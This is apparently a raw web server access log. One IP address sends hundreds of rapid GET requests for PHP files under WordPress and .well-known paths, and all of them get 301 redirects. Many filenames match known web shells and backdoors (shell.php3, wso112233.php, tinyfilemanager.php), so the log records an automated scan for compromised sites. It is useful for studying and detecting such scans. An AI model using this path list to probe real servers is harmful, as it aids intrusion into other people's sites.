"-" 40.69.216.239 - - [21/Apr/2025:00:56:49 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:50 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:51 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:52 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:53 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:53 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:54 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:56 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:57 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:56:59 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:01 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:02 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:06 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:07 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:09 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:12 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:14 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:15 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:17 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:18 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:18 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:19 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:20 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:22 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:24 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:27 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:30 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:35 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:38 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:41 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:43 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:44 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:45 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:46 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:47 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:48 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:48 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:49 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:51 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:52 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:53 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:55 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:56 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:57 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:58 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:57:59 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:00 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:02 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:04 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:05 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:06 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:07 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:08 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:09 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:10 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:11 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:13 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:14 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:15 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:15 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:16 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:17 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:18 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:19 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:21 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:22 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:24 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:27 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:28 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:29 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:30 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:32 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:33 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:34 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:35 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:37 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:38 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:39 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:40 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:40 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:41 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:42 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:42 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:44 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:44 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:45 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:46 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:47 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:48 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:48 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:49 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:50 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:51 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:53 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:54 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:56 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:56 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:57 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:58 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:58 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:58:59 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:00 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:00 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:01 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:02 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:03 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:04 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:04 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:06 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:07 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:07 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:08 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:09 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:10 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:11 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:12 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:13 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:15 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:16 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:17 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:18 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:21 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:23 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:24 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:25 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:25 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:27 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:28 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:29 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:31 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:32 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:34 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:35 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:36 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:36 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:38 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:40 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:41 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:44 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:45 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:46 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:47 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:48 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:49 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:50 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:51 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:51 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:52 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:53 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:54 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:55 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:55 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:56 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:57 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:58 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:59 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:00:59:59 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:00 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:01 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:02 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:02 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:05 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:07 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:09 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:14 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:18 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:20 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:22 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:24 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:26 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:27 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:29 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:31 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:35 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:37 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:39 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:41 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:43 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:44 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:45 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:48 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:53 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:55 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:00:57 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:00 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:02 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:05 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:06 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:08 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:10 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:11 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:13 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:16 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:17 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:19 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:20 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:21 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:23 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:24 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:25 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:26 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:27 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:27 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:29 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:31 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:34 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:36 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:39 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:42 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:44 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:46 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:49 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:52 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:54 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:55 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:57 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:01:59 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:00 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [21/Apr/2025:01:02:02 -0400] "GET 